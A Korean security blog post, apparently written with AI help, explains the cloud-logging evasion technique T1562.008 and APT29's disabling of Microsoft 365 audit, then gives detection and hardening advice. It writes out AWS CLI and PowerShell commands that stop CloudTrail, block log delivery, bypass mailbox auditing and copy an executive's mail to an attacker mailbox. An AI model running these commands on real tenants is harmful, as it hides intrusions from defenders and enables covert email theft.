COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
APT29가 Microsoft 365 Purview Audit를 비활성화해 이메일을 탈취했다. 클라우드 로그를 변조하는 12가지 기법과 로그가 사라진 뒤의 탐지 방법.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
공격자는 클라우드 환경에서 자신의 활동을 숨기기 위해 로깅 기능을 비활성화하거나 수정할 수 있다. 2024년 Mandiant 보고서에 따르면, APT29(미드나이트 블리자드)는 손상된 Microsoft 365 테넌트에서 대상 계정의 Purview Audit을 비활성화한 후 이메일 수집을 시작했다. 이는 T1562.008 "클라우드 로그 비활성화 또는 수정" 기술의 실제 사례로, 클라우드 환경에서 공격자가 얼마나 정교하게 탐지를 회피하는지 보여줍니다.
전통적인 온프레미스 환경에서는 공격자가 시스템에 침입한 후 로그 파일을 직접 삭제하거나 수정하는 것이 상대적으로 간단했다. 하지만 클라우드 환경은 다릅니다. AWS CloudTrail, Microsoft 365 Audit Log, Google Cloud Audit Logs 등은 중앙화된 로깅 시스템으로 운영되어 단순한 파일 삭제로는 흔적을 지울 수 없다.
그런데 여기서 역설이 발생한다. 클라우드 서비스 제공자들은 고객에게 로깅 제어권을 제공해야 한다. 비용 절약, 규정 준수, 성능 최적화 등의 이유로 고객이 로깅을 선택적으로 비활성화할 수 있어야 하기 때문이다. 바로 이 정당한 기능이 공격자에게 새로운 기회를 제공하게 되었다.
과거 공격자들은 Windows Event Log를 삭제하거나 /var/log 디렉토리의 파일을 지우는 방식으로 흔적을 인멸했다. 하지만 클라우드 환경에서는 이런 방식이 통하지 않다. 로그가 여러 지역에 복제되고, API 호출 자체도 기록되며, 서비스 제공자가 별도의 백업을 유지하기 때문이다.
Adversaries may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. — MITRE ATT&CK T1562.008
이를 해석하면, 공격자는 클라우드 로깅 기능과 통합을 비활성화하거나 수정하여 자신의 활동에 대해 수집되는 데이터를 제한하고 탐지를 회피한다는 의미이다.
| 용어 | 설명 |
|---|---|
| CloudTrail | 역할: AWS API 호출 기록 / 차이점: 모든 AWS 서비스 API 추적 / 공격 대상: 로그 비활성화, S3 버킷 정책 변경 |
| CloudWatch | 역할: AWS 메트릭 및 로그 수집 / 차이점: 애플리케이션/시스템 로그 중심 / 공격 대상: 로그 그룹 삭제, 보존 기간 단축 |
| Purview Audit | 역할: Microsoft 365 활동 기록 / 차이점: 이메일, 파일 접근 등 사용자 활동 / 공격 대상: 감사 로그 비활성화, 라이선스 다운그레이드 |
| Cloud Audit Logs | 역할: Google Cloud 리소스 변경 기록 / 차이점: GCP 서비스 관리 작업 추적 / 공격 대상: 로그 싱크 삭제, 로그 라우터 수정 |
| Security Hub | 역할: 다중 보안 서비스 통합 / 차이점: 여러 로깅 소스를 중앙화 / 공격 대상: 통합 비활성화, 알림 규칙 삭제 |
1단계: CloudTrail 로깅 비활성화
공격자가 충분한 권한을 획득하면 가장 먼저 CloudTrail을 무력화한다.
# CloudTrail 중지
aws cloudtrail stop-logging --name my-trail
# 다중 지역 로깅 비활성화
aws cloudtrail update-trail --name my-trail --no-include-global-service-events
# 로그 파일 검증 비활성화 (무결성 체크 제거)
aws cloudtrail update-trail --name my-trail --no-enable-log-file-validation
이렇게 하면 이후의 모든 API 호출이 기록되지 않아 공격자의 활동이 보이지 않게 된다.
2단계: S3 버킷 정책 조작
CloudTrail 로그가 저장되는 S3 버킷의 접근 권한을 변경하여 로그 전달을 차단한다.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": {
"Service": "cloudtrail.amazonaws.com"
},
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::my-cloudtrail-bucket/*"
}
]
}
이 정책을 적용하면 CloudTrail은 활성화되어 있지만 실제로는 로그를 S3에 저장할 수 없게 된다.
3단계: SNS 알림 제거
CloudTrail과 연결된 SNS 주제를 삭제하여 보안팀의 실시간 알림을 차단한다.
# CloudTrail SNS 주제 제거
aws cloudtrail update-trail --name my-trail --no-sns-topic-name
# 기존 SNS 주제 삭제
aws sns delete-topic --topic-arn arn:aws:sns:us-east-1:123456789012:cloudtrail-notifications
1단계: Purview Audit 비활성화
# Exchange Online PowerShell 연결
Connect-ExchangeOnline
# 특정 사용자의 메일박스 감사 우회 설정
Set-MailboxAuditBypassAssociation -Identity "target@company.com" -AuditByPassEnabled $true
# 조직 전체 감사 로그 비활성화
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $false
2단계: 라이선스 다운그레이드
APT29가 실제로 사용한 기법으로, E5 라이선스를 E3로 다운그레이드하여 Advanced Auditing 기능을 제거한다.
# 사용자 라이선스 확인
Get-MsolUser -UserPrincipalName "target@company.com" | Select-Object Licenses
# E5에서 E3로 다운그레이드 (Advanced Auditing 제거)
Set-MsolUserLicense -UserPrincipalName "target@company.com" -RemoveLicenses "company:ENTERPRISEPREMIUM"
Set-MsolUserLicense -UserPrincipalName "target@company.com" -AddLicenses "company:ENTERPRISEPACK"
CloudTrail 로그가 정상적으로 기록될 때의 구조:
{
"eventTime": "2024-01-15T10:30:00Z",
"eventName": "StopLogging",
"eventSource": "cloudtrail.amazonaws.com",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-admin"
},
"requestParameters": {
"name": "company-audit-trail"
},
"responseElements": null,
"errorCode": null,
"errorMessage": null
}
하지만 StopLogging 이벤트 이후에는 더 이상 로그가 기록되지 않다. 이것이 공격자가 노리는 "보이지 않는 창"이다.
1. 관리자 권한의 과도한 신뢰
클라우드 환경에서는 관리자가 로깅을 제어할 수 있어야 한다는 정당한 요구사항이 있다. 공격자는 이 신뢰 관계를 악용한다. 일단 관리자 계정을 탈취하면, 로깅을 비활성화하는 것이 의심스러운 활동으로 간주되지 않을 수 있다.
2. 복잡한 권한 모델의 사각지대
AWS IAM, Azure RBAC, Google Cloud IAM 등은 매우 복잡한 권한 체계를 가지고 있다. 공격자는 이 복잡성을 이용해 로깅 관련 권한을 우회하거나, 권한 상승을 통해 로그 제어 권한을 획득한다.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"cloudtrail:StopLogging",
"cloudtrail:DeleteTrail",
"s3:DeleteBucket"
],
"Resource": "*"
}
]
}
이런 과도한 권한이 부여된 계정을 탈취하면 공격자는 쉽게 로깅을 무력화할 수 있다.
3. 로그 보존 정책의 허점
많은 조직이 비용 절약을 위해 로그 보존 기간을 짧게 설정한다. 공격자는 이를 악용해 장기간 잠복하면서 오래된 로그가 자동으로 삭제되기를 기다립니다.
Microsoft 365 Purview Audit 무력화
Mandiant가 보고한 실제 사례에서 APT29는 다음과 같은 단계로 로깅을 우회했다:
# 1단계: 대상 사용자 식별
Get-Mailbox -Identity "ceo@target-company.com"
# 2단계: 해당 사용자의 감사 로그 비활성화
Set-MailboxAuditBypassAssociation -Identity "ceo@target-company.com" -AuditByPassEnabled $true
# 3단계: 이메일 수집 시작 (이제 로그에 기록되지 않음)
Search-Mailbox -Identity "ceo@target-company.com" -SearchQuery "subject:confidential" -TargetMailbox "attacker@external.com"
이 공격이 특히 정교한 이유는 감사 로그 비활성화 자체는 기록되지만, 그 이후의 이메일 접근 활동은 전혀 기록되지 않기 때문이다.
라이선스 다운그레이드를 통한 기능 제거
1. 로그 무결성 모니터링
# CloudTrail 로그 파일 검증 활성화 확인
aws cloudtrail describe-trails --query 'trailList[?LogFileValidationEnabled==`false`]'
# 예상치 못한 로깅 중단 탐지
aws logs describe-log-groups --query 'logGroups[?storedBytes==`0`]'
2. 권한 분리 및 최소 권한 원칙
로깅 관련 권한을 별도로 분리하고, 로그 비활성화에는 다중 승인이 필요하도록 설정한다.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": [
"cloudtrail:StopLogging",
"cloudtrail:DeleteTrail"
],
"Resource": "*",
"Condition": {
"Bool": {
"aws:MultiFactorAuthPresent": "false"
}
}
}
]
}
3. 외부 로그 백업 및 SIEM 통합
클라우드 네이티브 로깅에만 의존하지 말고, 외부 SIEM이나 로그 관리 시스템으로 실시간 복제를 구성한다.
4. 이상 행위 탐지 규칙
# Splunk 탐지 규칙 예시
search: eventName="StopLogging" OR eventName="DeleteTrail" OR eventName="Set-MailboxAuditBypassAssociation"
trigger:
condition: count > 0
timeframe: 5m
alert:
severity: high
message: "클라우드 로깅 비활성화 시도 탐지"
T1562.008은 클라우드 환경의 중앙화된 로깅 시스템을 역이용한 정교한 탐지 회피 기법이다. 공격자는 정당한 관리 기능을 악용해 자신의 활동을 보이지 않게 만들며, APT29 같은 고도화된 위협 그룹들이 실제로 활용하고 있는 현실적인 위협이다.
이 기술과 관련된 다른 방어 무력화 기법들을 더 자세히 알고 싶다면, T1562 방어 무력화: APT 그룹이 EDR을 끄는 13가지 기술 원리와 T1562.001 EDR 우회 공격 12가지 방법: 보안 무력화 기법을 참고하시기 바랍니다.
다음 단계로는 클라우드 환경에서의 권한 상승(T1068)이나 측면 이동(T1021) 기법들을 살펴보면, 공격자가 로깅을 무력화한 후 어떤 활동을 수행하는지 이해할 수 있을 것이다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.